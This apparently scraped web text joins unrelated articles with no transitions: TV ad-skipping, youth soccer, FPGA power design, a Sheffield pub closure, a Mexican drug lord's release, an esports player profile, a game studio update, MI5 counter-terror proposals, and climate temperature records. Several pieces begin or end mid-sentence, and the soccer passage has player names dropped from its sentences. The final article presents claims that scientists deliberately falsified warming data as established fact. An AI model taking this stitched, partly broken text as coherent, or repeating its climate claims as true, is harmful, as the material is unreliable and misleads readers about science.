Network executives privately dismiss Dish’s claim that it will promote more viewing. They declined to comment on the record about legal maneuvering, but representatives for ABC, CBS, Fox and NBC said this week that they were reviewing the matter.
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“Ads are the key to our business,” said Paul Lee, the president of ABC Entertainment Group, on Tuesday. “So we’re not supportive of anything that doesn’t support our advertisers.”
Mr. McQuivey said, “In the end, the real power of the networks comes in their distribution deals. If Dish doesn’t play nice, Dish will find it impossible to renew those deals when they’re up.”
Dish knows that, of course, but has decided to rock the boat anyway. Mr. Khemka declined to speculate on the possibility of litigation from television networks.
Mitch Stoltz, a staff lawyer for the Electronic Frontier Foundation, which argued against the network suit a decade ago, said, “Giving customers the ability to skip commercials automatically may be a business problem for the TV networks but it’s not a clear copyright violation.
“Unfortunately, the damages that copyright law allows are so high that threatening litigation can create a lot of leverage in negotiations, so that copyright can act as a veto on innovation.”by Paul Kennedy @pkedit, Dec 16, 2013
By Paul Kennedy
Alexandre Gallo
Junior Flores
Hugo Perez
Joe Gallardo
Luca de la Torre
Joshua Perez
Danny Barbir
Edwin Lara
Christian Pulisic
John O'Brien
Jovan Kirovski
Jurgen Klinsmann
Edgar Castillo
Jose Torres
Wilmer Cabrera
Joe Gyau
Sebastian Lletget
Charles Renken
Haji Wright
Joe Corona
Herculez Gomez
Paul Arriola
So what should we make of the U.S. U-17s' 4-1 win over Brazil Friday at the Nike International Friendlies? You could say they beat's young Brazilians so badly that they gave up. After a second red card with five minutes to play, the Brazilians stood at the midfield line and refused to challenge the ball handler. Sort of like the end of a basketball game, only we're talking minutes, not seconds.The U.S. U-17s beat Brazil two years ago rather convincingly but where did that triumph get them? They became the first U.S. team not to qualify for the Under-17 World Cup in 15 tournaments. Success one year does not necessarily translate into success the next. And the players who stand out at 14 or 15 -- the ages of the players on display in Lakewood Ranch -- won't necessarily be stars at 24 or 25.Any look at the state of under-17 program and its player pool requires caution. So with that proviso a couple of things stand out...The talent pools in the '98 and '99 age group are deep. The U-17s of two years ago had one exceptional young player,, who is now at Borussia Dortmund. The U-17s who beat Brazil on Friday had a handful of very exciting prospects.Reasons for the emergence of so many good 14- and 15-year-old prospects begin with the easy one. Talent pools are cyclical. Once every generation, a core of stars will emerge around one or two age groups.U.S. Soccer is clearly doing a better job of identifying talent. In the old days, there was ODP, and that was it. Now, U.S. Soccer is bringing players into its regional training centers. There are programs like U.S. Club Soccer's id2 program. Alianza de Futbol is doing a great job of bringing young Hispanic talent to the fore. And, of course, Development Academy clubs are out searching for players for teams that now go as young as under-13/14s.A name that keeps popping up in this identification process: former national team star, the U-15 national team coach. The heavy presence of California talent in the '98 and '99 age groups is no coincidence as Perez, based in Northern California, has been unearthing young talent up and down the state.But what stands out about the U-17s who beat Brazil is how many of them have foregone the residency program and have been playing or training abroad., who scored a hat trick against England and had a goal and two assists against Brazil, left the Nomads in San Diego for Monterrey in Mexico after being spotted at the 2011 Dallas Cup. Stylish midfielder, also from San Diego, has been training at Fulham in England., Perez's nephew, spent the fall at Italian club Fiorentina. Giant defenderjust returned after several months at Manchester City.Up until now, the under-17 national team was comprised almost exclusively of players in residency in Bradenton. In addition to the four starters just mentioned, starting |
izes the design for power efficiency. However, Vivado tools can only optimize a design as presented. So let’s see what we can do to ensure that we present the best design possible.
Setting Power Optimization within Vivado
One of the first places to start is to ensure that we are familiar with the structure of the CLBs and slices used to implement our creations within the Zynq SoC’s PL. If you are not as familiar as you should be, the detail of these PL components is provided within in the Seven Series CLB user guide UG474.
Each CLB contains two slices. These slices provide the LUTs (look up tables), storage elements, etc. used to implement the logic in your design. The first thing we can do to optimize power consumption in our programmable logic design is to consider the polarity, synchronicity, and grouping of control signals to these CLB’s and slices. When we talk about a control signal, we mean the clock, clock enable, set/reset, and distributed-RAM write enables used within a slice.
Storage elements in a Programmable Logic Slice
Looking at the storage elements shown above, you can see that except for the CLK control signal, which has a mux to enable its inversion, all other signals are active high. If we declare them as active low or asynchronous, we will require an extra LUT to invert the signal and additional routing resources to connect the inverter. These extra logic and routing resources increase power consumption.
Grouping of control signals relates to how a specific group of control signals—e.g. the clock, reset and clock enable—behave. Creating many different control groups within a design or module makes it more difficult for the placer to locate elements within different control groups close together. The end result will require more routing which makes timing closure more difficult and increases power consumption.
We also need to consider how we use and configure the PL’s I/O resources. For instance, we must giver proper consideration to limiting drive strength and slew rate. We should also consider using the lowest I/O voltage supported by the receiving device. For example, can we may be able to use reduced-swing LVDS in place of LVDS.
More advanced design techniques that we can use relate to the use of hard macros within the PL and how the tools use this logic. One of the biggest savings can be achieved by using a smaller device, which clearly reduces overall power. There are two main techniques we can use to reduce the size of the required device. The first of these is resource time sharing, which uses the same on-chip logic resources for different functions at different times. A second approach is to use a common core for processing multiple inputs and inputs if possible. However, this technique increases complexity during design capture because we must consider multiplexing and sequencing needs.
Once we have completed our design, we can run the XPE tool within Vivado to estimate power consumption and predict junction temperature (very important!). Hopefully, we’ll get the reduction power we require. However, if we do not, we can perform “what if” scenarios as detailed by UG907, which also contains other low-power design techniques.
Code is available on Github as always.
If you want E book or hardback versions of previous MicroZed chronicle blogs, you can get them below.
First Year E Book here
First Year Hardback here
Second Year E Book here
Second Year Hardback here
All of Adam Taylor’s MicroZed Chronicles are cataloged here.A Sheffield music venue has closed after its landlord said it has been ‘unfairly targeted’ by the council in relation to allegations of underage drinking and disorder.
The South Sea public house on Spooner Road, Broomhill, closed last month ahead of a licensing hearing this week which claims the pub is unsuitable for under-18s.
The pub has a licence allowing children to enter the venue and it hosted music events open to teenagers.
David Hancock, who ran the pub, said the allegations were unfair and the venue will be missed by the local community. He said children had been buying alcohol from local shops and not his venue, as had been alleged.
Mr Hancock said their licence allowed children over 16 to attend music events.
He said: “The council didn’t like us having it and wanted it to be 18-plus.
“It will be a loss to the local community. People are really gutted. I have always wanted to support the local people. That is not just bands, it is DJs and promoters.
“They don’t like people setting up a sound system and playing DJ music.”
A report going to a council committee said a licence review has been requested by the Sheffield Safeguarding Children Board.
The report said the board had been involved with the venue since 2013 after a 14-year-old boy was taken to hospital after attending an 18th birthday party at the venue. It added the children’s board was concerned that ‘a lack of management control’ had ‘resulted in children continuing to access and socialise in this unsuitable adult environment’.On Friday, August 9, at the unseemly hour of two o'clock in the morning, the main gate of Puente Grande prison opened, and a godfather in the Mexican narcotics trade walked out into the darkness a free man. By then, Rafael Caro Quintero, former founder and leader of the Guadalajara Cartel, had served 28 years of a 40-year prison sentence for drug trafficking and the audacious 1985 murder of a DEA agent named Enrique 'Kiki' Camarena.
The order for Caro's release was given by a three-judge appeals panel in his home state of Jalisco, overturning the murder conviction on a technicality. The court decided that Caro should have been tried in a state and not federal court at the time because Kiki Camarena—who worked undercover—was not officially in the US’s diplomatic corps in Mexico. With that, judges reduced his prison sentence to 15 years. Having already served 28, he was free to go.
The release of the most historically powerful and connected drug lord in modern Mexican history—a still potent symbol for US antidrug agencies—immediately aroused suspicions, and led to the Mexican attorney general to issue a warrant for a "provisional detention" after receiving a request from the United States on Wednesday of last week.
For one thing, the appeals court declined to send the murder case back to the state courts, opting instead for immediate release. Also, prior to the warrant being issued, Attorney General Jesus Murillo Karam released a statement saying only that Quintero being set free “worried” him. Then there is the US government's claims in media reports that it was not notified of the release beforehand, learning about it only it after the fact from the news.
"We've been told it was a technicality," said Jack Riley, director of the DEA's Chicago Field Division and former head of its El Paso office, "but I'm sure that everybody's going to look real hard at it to make sure it was legitimate."
The US Department of Justice has had a standing request for Mexico to extradite Caro Quintero since 1987, and they have 60 days to formally request extradition if and when Quintero is detained. Riley explained the extradition request had previously been a low priority after Caro received his four-decade prison sentence. "They wouldn't consider extradition because at that point it didn't make sense because he was never going to get out of Mexican custody," Riley said.
But Caro Quintero was probably not sitting out his sentence idly for all those years. In June, the US Treasury Department had invoked the Foreign Narcotics Kingpin Designation Act to freeze the banking assets of 15 businesses bankrolled by Caro, as well as those of 18 of his relatives and associates, including his wife, four children, and daughter-in-law.
Riley said he was "deeply troubled" at news of Caro's release from jail, and said the Justice Department will likely continue to explore the possibility of apprehending Caro for extradition. "We're still looking into that to really figure out where exactly the process is now. We're also looking at where the investigations took place in California, working with the US Attorneys and the Department of Justice there to see whatever we've got to do to recreate the extradition process so that we get him on US soil."
Since Caro was already tried once for Camarena's murder, he cannot legally be tried for it a second time. The charges he faces in the US are limited to his drug-trafficking activities. Any extradition to the US would have to be on the basis of those other crimes, and not Camarena's murder.
Mexican President Enrique Pena Nieto. Photo via Wikipedia Commons
The release of Caro comes at a sensitive time for US authorities as they negotiate with Mexico's new president, Enrique Peña Nieto, the basis for cross-border cooperation in matters of intelligence sharing and drug interdiction.
President Peña Nieto has yet to give a clear sign that his administration will permit US law enforcement and intelligence agencies the same degree of influence over antidrug operations that they enjoyed during the 12-year reign of his presidential predecessors from the opposition National Action Party, which ended last year.
There is no doubt, however, that Peña Nieto and his party, the Institutional Revolution Party, have the most to lose if Caro were ever to appear in a US courtroom. The PRI is heavily implicated in the worst excesses of Caro's time at the head of the Guadalajara Cartel.
No gangster in his day was more politically connected than Caro Quintero. At 32, he smoked cocaine in the saddle of a dancing horse in the middle of a raucous party in Guadalajara, to the delight of a PRI state representative who was the brother-in-law of a former PRI president of Mexico. Henchmen who worked for Caro testified to spending four weeks counting out by hand a $400 million-cash bribe for a high official in a PRI government. The director of the Mexican FBI in the administration of another PRI president was on Caro's direct payroll.
And on it went. Caro Quintero's teenage girlfriend Sara Cosio was the niece of Guillermo Cosío Vidaurri, the former mayor of Guadalajara, a national secretary of the PRI at the time of Caro's arrest, who became governor of Jalisco state four years later. Caro claimed the uncle drove a Mercury Cougar that he had given him as a gift. A bodyguard for the Guadalajara Cartel who witnessed the torture of Camarena later testified in a US court that the governor of Jalisco state and the sitting Mexican Secretary of the Interior, both PRI politicians, sat near the open door to the room where Camarena was being interrogated to better hear what he was saying about their own collusion with drug-trafficking.
Like the wedding scene in The Godfather, the young men who in ten years' time would be slashing at one another's throats as the heads of warring cartels in Sinaloa, Tijuana, and Juarez were then peacefully coexisting in wealth and impunity in the same city, as part of the same syndicate, under the leadership of men like Caro Quintero, Carlos Fonseca, and Miguel Angel Felix Gallardo.
Was it only hubris that caused them to believe they could abduct, torture and murder a DEA agent intent on making problems for them? In the fall of 1984, Camarena had led a raid by DEA and Mexican Federal Police on Caro's pride and joy, the Buffalo Ranch, a marijuana plantation of 1,300 acres in Chihuahua state – the largest field ever put to the torch by law enforcement. El Bufalo employed ten thousand field hands and yielded a harvest of up to 6,000 tons of weed, with a street value of $8 billion dollars.
The murder of Camarena was a pivotal event in the drug war in Mexico. On one hand, it enhanced the power of the DEA like never before.
"It really led to the agency expanding," Riley said, "because for us to be successful here domestically we've got to operate with our foreign counterparts in parts of the world where the narcotics are coming from."
In doing so, it fed the DEA's single-minded quest to bring down the cartel and government officials responsible for it, leading to the discovery that Caro was providing material support to the CIA's Contra guerilla army in Nicaragua.
In 1990, the anti-drug agency issued a report on the cartel's cooperation with the CIA mission in Central America. Among its findings was that Caro Quintero permitted a ranch he owned in Vercruz state to be used as a guerrilla training camp. The report concludes that “the operations/training at the camp were conducted by the American CIA, using the DFS [Mexico's FBI] as cover, in the event any questions were raised as to who was running the [camp]” and that “Representatives of the DFS, which was the front for the training camp, were in fact acting in consort with major drug overlords to insure a flow of narcotics through Mexico and into the United States.” The DEA's main source for the information was a cartel insider who set up the communications network for the Mexican cartel and its law enforcement partners in the early 1980s and mid 1980s.
It remains to be seen if and when the US government will request extradition for Quintera, or if the Mexican government will even be able to capture him. Like no other instance in the history of the drug war in Mexico, the murder of Kiki Camarena, or more specifically the numerous investigations and court cases that followed it, revealed the inner workings of the Mexican government's inability to control the cartels. The uncertainty surrounding the release of Rafael Caro Quintera after 28 years in prison for that same murder may have already done as much to suggest that that situation persists.
Jason McGahan is a journalist in South America.
For more on drugs:
It's Good to Be the King
Tanks for the Memories
3,500 Cops Who Want All Drugs to Be LegalNumber 13 on our Top 20 players of 2014 ranking by Xtrfy, Paweł "byali" Bieliński, was a big reason for Virtus.pro's tremendous triumph at the EMS One Katowice. He ended up being one of the best players at the majors and he was one of the most consistent contributors throughout the year.
After playing CS 1.6 for a few years at a low level, Paweł "byali" Bieliński started matching up against Poland's best teams as an 18-year-old in 2012 with a team called BoomSlave.
He didn't turn any heads until CS:GO came around and he joined a team called GF-Gaming - together with Janusz "Snax" Pogorzelski and a few other players who were looking to break through in the local scene dominated by the team of Polish legends Filip "NEO" Kubski and Wiktor "TaZ" Wojtas.
Their first notable event was EIZO Challenge in March 2013 where they finished third behind the Golden5 squad and MaxFloPlay, while byali turned some heads as the team's best - even in the clash with ESC.
The first international event for byali came in July when GF-Gaming attended Prague Challenge and eventually lost to the champions Nostalgie in the quarter-final. He once again played well, which eventually put him on ESC's radar when they ended up looking for fresh talent.
In late September he was picked to join NEO, TaZ and Jarosław "pashaBiceps" Jarząbkowski in a new squad together with his teammate Snax.
They became Universal Soldiers and attended RaidCall EMS One Fall Finals, Techlabs Cup Finals and DreamHack Winter, without any big success. byali didn't excel at those events, but he gathered valuable experience and soon proved himself at SLTV StarSeries VIII Finals as his now organization-less squad AGAiN won their first title by beating Na`Vi.
At the end of 2013 the first major tournament of the next year was announced, scheduled to take place in Katowice, Poland. byali & co. set their sights on winning this event on their home soil and started preparing for it months ahead.
In late January they finally found an organization to represent – Virtus.pro. But there was still the matter of qualifying for EMS One Katowice as their performance at the previous major saw them exit in the group stage behind NiP and Kenny "kennyS" Schrub's Recursive.
Going through the qualifier turned out being an easy task, as they beat Swedish-Norwegian mix GreyFace and Germans ALTERNATE with 2-0 scores to secure the spot.
byali's first tournament of the year was EMS One Katowice
They went into the major tournament as one of the favorites despite not achieving any big success previously, but everyone expected them to elevate their level of play on this occasion.
And they didn't disappoint – beating HellRaisers 19-16 at the start and then the big favorites Titan 16-7 to top their group. byali was already doing great, and he even got a pistol ace against the Frenchmen, but he then stepped up even more against LDLC in the quarter-final.
As Virtus.pro strolled past the next French team in line, byali put up a 53:21 score in the series (1.81 rating). He was particularly exceptional on the first map where he had a kill, assist or survived all 19 of the rounds and ended up with a 30:9 score and 7 assists (2.27 rating, VOD).
He continued playing well in the LGB semi-final and was one of the team's best on the third and deciding map (24:16, 1.37 rating).
Then came the long awaited grand final on the big stage against none other than NiP – and the Poles brought huge joy to their fans. They won relatively comfortably 16-9, 16-10 and byali's play was once again one of the key factors.
He was the team's best on the first map with 25:12 (1.63 rating) and he ended up contributing in 82% of the rounds in the entire series.
byali's POV in the EMS One Katowice grand final vs. NiP
In the end he was the third highest rated player of the tournament with an impressive 1.31 rating, and while in most cases that would be enough to be considered the MVP, this time his teammate pashaBiceps was better.
Nevertheless, byali was one of the very best in Katowice, getting a kill in 55% of the rounds and contributing with a kill, assist or by surviving in 76.2% rounds – the most anyone ever had at a major, and second most anyone had in 2014.
After climbing to the top of the world, Virtus.pro's task was now staying there and that didn't turn out to be so easy.
They did prove at their next event, Copenhagen Games, that their performance wasn't just powered by playing on their home soil as they made it to the final once again. However, this time Ninjas in Pyjamas bested them despite the Poles getting the first map (16-12, 6-16, 13-16).
Even though he wasn't the star of any match, the still 19-year-old byali was again one of the most impressive players of the tournament. He had the team's 2nd highest rating of 1.17 and was contributing very consistently, once again topping the tournament board with 73.6% of rounds with a kill, assist or survival. That earned him a place in our All-Star team.
But at the next event Virtus.pro attended he wasn't in the same shape and they didn't perform as well, losing to both Titan and NiP to finish fourth out of four teams at SLTV StarSeries IX Finals.
While in the first two events byali was one of the hardest to kill (under 0.60 deaths per round), this time he had 0.76 DPR as he failed to contribute consistently, ending up with a 0.90 rating.
Nevertheless, in the short time after being given the chance, the youngster had together with the other new face in the Polish squad, Snax, proven that he can play with the very best.
The rise of byali & Snax
At DreamHack Summer he was back in shape but the team again failed, making it only to the quarter-final where they were eliminated by Natus Vincere.
byali actually had the highest rating of the entire tournament and his highest of the year (1.37), but even his amazing play against Na`Vi was of little use.
He did play great in the group stage too - in wins over London Conspiracy and especially over SK (25:16, 6 assists, POV).
A couple of weeks later byali went on his first overseas trip to ESEA Season 16 Finals in Dallas, Texas, but even though the Poles beat NiP and Na`Vi and made it to top three, he was somewhat underwhelming.
It wasn't a bad performance by the now 20-year-old, as he still contributed in an above average 66% of the rounds, but he failed to make a big impact in most of the matches and ended up as the team's lowest rated (0.95).
In July we released the second edition of our world ranking and Virtus.pro found themselves in 2nd place trailing only NiP.
Despite a few shaky performances Virtus.pro were still #2 in the world in July
Ahead of the next event Gfinity 3, the Poles decided to shake things up in light of their latest results, so they swapped the in-game leader role from NEO to TaZ.
It didn't seem to help at all at first, as they lost to mousesports and dignitas and drew against Titan in the group stage. They still made it out of the group thanks to beating the other two teams, ESG and fm-eSports, but they looked wounded even in the quarter-final against London Conspiracy where they lost the first map.
byali was unimpressive and underperforming as they lost maps until that point in the tournament, but he woke up during the semi-final against dignitas.
Virtus.pro once again found themselves down after the first map vs. the hot Danes, but they somehow managed to turn it around and advance to the final. Despite not making a lot of direct impact, byali contributed in the most rounds of the series (73%), especially on the third map where he had a kill, assist or survival in all 16 of their round wins (23:13, 1.29 rating, POV).
He then did even better in the final where he was the team's best (45:28, 1.40 rating), putting in a Man of the Match performance on the first map with a 26:11 score (1.80 rating, a kill in 80% of rounds, POV).
byali showed up when it mattered at Gfinity 3
Since he underperformed in the earlier parts of the tournament, byali ended up with just a 1.04 rating, but he was still one of the best players of the event thanks to his contribution in the two most important matches.
But even though they grabbed their second title of the year, it was no time for celebration in the Virtus.pro camp, as the next major was only two weeks ahead.
They looked good in the group stage of ESL One Cologne, even in the overtime loss against the new fnatic squad, as they demolished dAT and iBUYPOWER to advance to the playoffs. However, they were then eliminated by Dan "apEX" Madesclaire's LDLC after two close maps.
byali did somewhat underperform in the 14-16 loss to LDLC on map one, but he was very good in all the other matches, including the fnatic loss when he put up the biggest fight (CT side POV).
He ended up with another 1.04 rating, 3rd in the team, but he once again contributed in team-highest 71.6% of rounds making it a solid second major on an individual level.
Their next LAN event wasn't until a month and a half later, Game Show League Finals, but they had to attend it without pashaBiceps. With byali's former teammate Michał "MICHU" Müller as a stand-in they ended up losing to Na`Vi and HellRaisers to finish 3rd.
Although he had one of his less impactful events with a 0.93 rating, byali once again contributed in the most rounds for his team – 65.9%. Interestingly, all three occasions of the eight maps where he had a rating above 1.00 were on Mirage.
Despite pashaBiceps's return at the FACEIT Season 2 Finals, Virtus.pro again didn't make it to the final. In fact, they only won one of the six maps they played there, losing to LDLC twice and Cloud9 once, and then 0-2 to fnatic in the semi-final.
4 kills with a 1vs2 against fnatic in teh FACEIT S2 semi-final
Nevertheless, byali was still the team's most consistent contributor per usual, although this time in a below average 61.1% rounds. Considering the team's play and the amount of losses, his 0.97 rating ended up being 14% above team average and 2nd best in the team.
Virtus.pro ended up with the same fate at ESWC - a loss to fnatic in the semi-final - although this time they had a better run overall by beating LDLC in the group stage and dignitas in the quarter-final, and eventually Na`Vi in the third place decider.
byali was his usual consistent self, contributing in team-high 71.6% of rounds and having a rating above 1.00 in 11 of the 13 maps, but not standing out much except in the first map of the third place decider (27:14, 1.59 rating, T-side POV).
They added another third place finish at Fragbite Masters Season 3 Finals, which they had to attend without Snax who fell ill just prior to the trip. With Jacek "MINISE" Jeziak as a stand-in they once again couldn't put up a fight against fnatic and they also got annihilated by LDLC on the second and third map of the upper final (16-9, 5-16, 0-16).
The whole team performed badly at this event and byali had his only terrible performance of the year – a 0.65 rating with just 0.49 kills per round. Interestingly, even on this occasion he was still the team's top contributor in a well below average 56.6% of rounds.
It was not an encouraging outing ahead of the last major which was two weeks away, but come DreamHack Winter the Poles were back in top shape.
In the group stage they demolished myXMG and Na`Vi with 16-2 scorelines and then eased past PENTA in the quarter-final. They almost looked as good as in Katowice, but then the semi-final against NiP happened.
Virtus.pro were ready for the last major, but it wasn't enough
The Poles lost the first map on double overtime after having a 15-7 advantage, and after evening out the series they lost the third map 8-16.
byali once again elevated his play at a major, doing well in every single map but again not standing out too much in any of the matches.
He ended up with a great 1.14 rating and yet again contributed in team-highest, and event's second highest, 71.7% of rounds.
In the last big event of the year, Virtus traveled to Texas again for the ESEA Season 17 Finals. It looked like they were going to win the whole thing, defeating fnatic in the upper final for the first time, but then the Swedes emerged from the lower bracket and won two Bo3 series against the Poles to snatch the title away.
byali looked good in the match against iBUYPOWER (top fragger of the series with 73:66) and the fnatic win (47:33), but he didn't excel in the grand final where he scored only 0.57 kills per round and had a 0.82 rating.
Overall, he had an average performance at the tournament with a 0.97 rating while contributing in still above average 64.5% of rounds.
Virtus.pro in the end failed to qualify for MLG X-Games Aspen due to a loss to dignitas, but they did manage to win a smaller event in Germany, Acer A-Split Invitational, where byali was the MVP.
Why is he the 13th best player of 2014?
Paweł "byali" Bieliński was one of the best players in the world during the first half of 2014 when he had a number of world-class performances, but his form slightly fell off in the second half of the year. He still showed great consistency by only having one really bad event the whole year, and he was almost always his team's biggest contributor on a per round basis.
And while byali was rarely the star of Virtus.pro, he helped them immensely on the way to winning two titles -- EMS One Katowice, Gfinity 3, finishing second at Copenhagen Games and ESEA Season 17, and third on six occasions – ESEA Season 16, Game Show League, FACEIT Season 2, ESWC, Fragbite Masters 3 and finally DreamHack Winter.
Moreover, his performance at the first major, EMS One Katowice, was one of the best yet at the $250,000 events, and he also played very well at the other two – ending up with the 5th highest rating in the majors of 1.20.
In fact, he was by far the most consistent contributor in those events, having a kill, assist or surviving in 73.6% of the rounds, something that he was great in during other tournaments as well – 67.7% overall in 2014 (6th).
byali's consintent contribution is hard to match
Gfinity 3 was another notable event where despite starting poorly, byali woke up in the semi-final and helped his team turn their fate around while putting in a Man of the Match performance in the final.
He was also one of the very best players of Copenhagen Games, and had a notable performance in 6 of his other 10 events.
Interestingly he was one of a handful of players who had more entry kills than deaths on the T-side (0.09 entry kills with a 53% success rate), but as he only took part in a below average 17.4% of the entry duels he cannot be considered one of the best in that area.
But he can be considered one of the best overall aimers in the game, having the 6th highest headshot percentage (50.5%) and 10th most headshots per round (0.36).
Lastly, the stats also show that de_mirage is his favorite playground as he was the third highest rated on that map (1.20).
What is your take on Paweł "byali" Bieliński's performance in 2014? Was it enough to earn a place in the Top 20? Should he have been higher?
Our Introduction article has all the info you need to know about the Top 20 players of 2014 ranking by Xtrfy, including an updated list.
Follow Paweł "byali" Bieliński on Facebook and Twitter.+33
Hail and well met, Elyrians!
In the last couple weeks, the team has been split between two major areas. The engineering team has been piling on the website to bring improvements and to prepare for the backend architecture needed for V3 and beyond. The content side of the team has been cultivating their creativity upon Titan's Steppe, developing breadth for the Prologue through visuals and animations and other effects.
Weather on the Steppe
Now that some new systems are in place to handle the environmental effects in the world, Heat has been providing some visual targets for our Environment team to hit. Last time I showed off the night sky paintovers, and this update I have a couple more to share. Keep in mind, that Chronicles of Elyria will have a weather system and seasons that will produce what you see below as you play. Of note, muddy roads and snow banks will affect travel and increase strain on people and vehicles that dare to venture outdoors...
Sometimes it rains and sometimes it pours
Snow accumulation in New Haven
Website Version 2.7.0
Work on the website continues! We've made a couple releases over the past couple weeks that have brought the following fixes and improvements:
Bounties Collected
Sometimes nefarious elements need to be brought to justice. We've tracked these ones down and their days of menacing the populace is over!
Bullets and numbered lists should be indented more
Editing a post with markdown causes error message
Deleting the last post in a thread doesn't update the topic information
Fixed avatar size issues on mobile...mostly
Contracts Completed
In an effort to improve our community, we've also built new features that are sure to delight!
Support for reporting if a post or comment needs to be moderated
Ability to change your Email Address
Ability to set avatar pictures (animated gifs supported for 10k influence and above)
A place to do Signature Preview in your Account settings
Ability to Preview prior to posting
Ability to change your user name
Shop item to purchase user name change - only visible if you have used your one-time, free name change
URLs and avatar pictures can't be set below 250 Influence in order to remove spam/troll accounts
URLs can be posted below 250 Influence if you link to our wiki or http://chroniclesofelyria.com
Temporarily disabled the Monarch package (layaway users can still complete their purchase)
Added spiffy moderator/admin backgrounds
Silver Run Mine Slowrun
After we did the speedrun of the PAX Demo, we talked about doing a slowrun so folks that weren't at the expo could enjoy and appreciate the progress we've been making on this area of the Prologue. I'm pleased to say that it's now available to watch! Hopefully it provides insight into our design philosophies and the features we've been working on for the last few months. Ultimately, all the gameplay you see could be in any area of the world. The environment you see boasts improvements to our lighting and atmospheric effects, along with what kinds of challenges you might find in a dungeon-delving expedition.
Open Topic Q&A on April 27th
We've done a lot of topical Q&As for the last six months in order to dive in a little deeper on topics that we were ready to expand on, beyond the Design Journals. There are always a lot of unrelated questions that come up that don't get answered because we want to make sure we provide depth on the topic-at-hand. This time, however, we are going to do an Open Topic Q&A so anything goes! That burning question that you've been saving for the right topic can be unleashed!
While many of the questions you have are going to be related to the gameplay, I wouldn't be surprised to also get questions about the studio, members of the team, what we think about the game industry or a specific game, how Caspian takes his rum, or other curiosities. Like I said, anything goes! 'Anything goes' doesn't mean we will have an answer for all your inquiries but, as always, we will do our best! To that end, I'll try to have more of the team in chat and on reddit to help field questions, even if not on camera.
The Q&A will take place on our Twitch.tv channel on Thursday, April 27th at 4PM PDT / 7PM EDT / 11PM GMT. We will be taking questions primarily from Reddit on this thread. Head on over and post your questions or vote up the ones you want to hear answered in the Q&A.
For those who miss it, the recording will be watchable on Twitch.tv for a limited time afterward and on our YouTube channel forever. So even if you can’t make the live session, your question from reddit may still be answered.
Please follow these rules when posting questions for the Q&A.
RULES
Please limit questions to 1 question per post, so it can be easily up-voted/down-voted Please limit yourself to 3 posts for a maximum of three questions per community member Keep your question brief. That makes it easier to read, and quicker to answer Make sure to upvote the posts of others you're most interested in hearing the answers to
Don't forget, many of the most common questions about CoE can be answered by reading over our design journals. If you're new to CoE, there is a wealth of information to begin with there.
We hope you'll join us Thursday, April 27th at 4PM PDT / 7PM EDT / 11PM GMT!
Pledged to Your Continued Adventures in Life, Both Actual and Fantasy,
VyeTheresa May will be presented with a wish list by security chiefs desperate to smash UK terror cells - including electronic tags for jihadi danger men.
MI5 chiefs struggling to contain tens of thousands of Islamist fanatics want increased powers to crack down on maniacs.
Alamy 2 Theresa May is due to receive a wishlist of increased powers from intelligence chiefs
And they have drawn up a list of key demands to reduce the risk of another London Bridge bloodbath.
Spooks are calling for:
Electronic tags to be worn by hundreds of "nominal" terrorists high on watch lists to track or limit their movements.
A total ban on the sale of unregistered SIM cards to stop terrorists communicating. Buyers will be required to provide concrete proof of ID.
A ban on immediate vehicle rentals. All renters to be required to provide proof of ID and have their details run through the police national computer. They will have to wait at least two hours while their details are checked.
Demand for a crackdown on Twitter. Crowing messages supporting the attackers were posted this morning including one which had 12,000 likes. Twitter to be asked to set up more content filters.
Increased resources for the 0800 anti-terror hotline with speakers of Pashtu, Punjabi, Arabic, Farsi and Urdu drafted in. Recommended that callers with terror tip-offs should be assured conversations will not be recorded.
Getty Images 2 Emergency services treat casualties following the London Bridge terror attack
MOST READ IN NEWS ACID FEUD Katie Piper acid thug's new wife said husband would 'burn love rival's face off' GREAT BRRRITAIN Snow to hit as temps to plunge by 15C TOMORROW with gales and rain Investigation GAME OF DEATH Truth behind sinister Momo Challenge suicide |
one-way ‘adjustments,'” reported Booker.
According to Booker, Homewood is now studying similar data from arctic stations from Canada to Siberia.
“Again, in nearly every case, the same one-way adjustments have been made, to show warming up to 1 degree C or more higher than was indicated by the data that was actually recorded,” he wrote.
Homewood’s research shows a consistent changing of temperature data and always in a way that makes it appear the earth is growing warmer. Moreover, these changes were not made by obscure organizations. They were done through the U.S. government’s Global Historical Climate Network. Additional responsibility lies with the Goddard Institute for Space Studies and the National Climate Data Center.
Climate scientists who do not buy into the global analysis on climate change say this manipulation is a devastating indictment of the movement.
“It’s enormously significant because the whole thrust of the Intergovernmental Panel on Climate Change (IPCC), which is supposedly the official source of climate change data, have been saying that currently it is warmer than it has ever been in the historic record or the instrumental record,” said Tim Ball, a former professor of climatology and author of “The Deliberate Corruption of Climate Science.”
Ball said while Homewood’s discoveries does not amount to breaking news, the reporting by the Telegraph is monumental.
“There’s nothing new about this, other than that it’s finally got into the mainstream media, but only into the conservative mainstream media because the Telegraph is a conservative newspaper in Britain,” Ball explained.
Ball elaborated on the temperature fudging that he says has been happening for quite a while.
“This adjustment of the historic record has been going on for a very long time,” he said. “It started with the elimination of a period known as the Medieval Warm Period a thousand years ago, when it was warmer than today.”
Nonetheless, he said Homewood has uncovered valuable evidence of a massive scientific and political con job.
“What is now being disclosed by Homewood, but has been disclosed by others long before this, is that they are adjusting the modern instrumental temperature record so that the older records appear colder than they actually were,” Ball said. “What that does is that it changed the gradient or slope of the temperature increase, making it look like the warming is much greater than it actually is. So this is what’s going on.”
Listen to the WND/Radio America interview with Tim Ball:
Ball said the scientific history of events like the Medieval Warm Period is a major problem for activists looking to convince people that human industrial activity over the past few hundred years is responsible for record-high temperatures. So, he said, they’ve determined to rewrite history.
“They’ve got to keep saying, ‘Oh no, it’s warmer now than it’s ever been,’ Ball said. “So anything that suggests it was warmer in the past must be eliminated. So they created the infamous ‘hockey stick,’ which essentially rewrote the historic record.”
Homewood’s research and Booker’s reporting have the potential of making this the biggest scandal since the revealed emails from the Climate Research Unit at East Anglia, in which climate scientists allegedly admitted to manipulating data to reach preferred conclusions. Ball said this new potential scandal could actually be bigger. He said most people couldn’t decipher the contents of the emails very easily, but the temperature changes are a very different story.
“This kind of thing is much more clear,” he said. “When you start changing numbers and you can show that it’s clearly deliberate and it’s clearly all in one direction … this is much more understandable to the public.”
Ball expects even more evidence of unethical science to be revealed before long.
“It isn’t just that they lowered the historic temperature,” he said. “They also reduced the number of stations that they were using to determine the global temperature. They argued that in vast areas, where you only have one or two stations, that one station was representative of the temperature in a 1,200 kilometer radius. I mean it’s absolutely outrageous what they’ve done.”
What do YOU think? What’s your take on ‘climate change’? Sound off in today’s WND poll!
